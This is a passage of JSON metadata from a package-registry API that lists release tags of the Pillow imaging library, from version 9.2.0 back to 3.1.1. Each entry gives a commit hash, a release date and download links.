url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests"},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests"},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/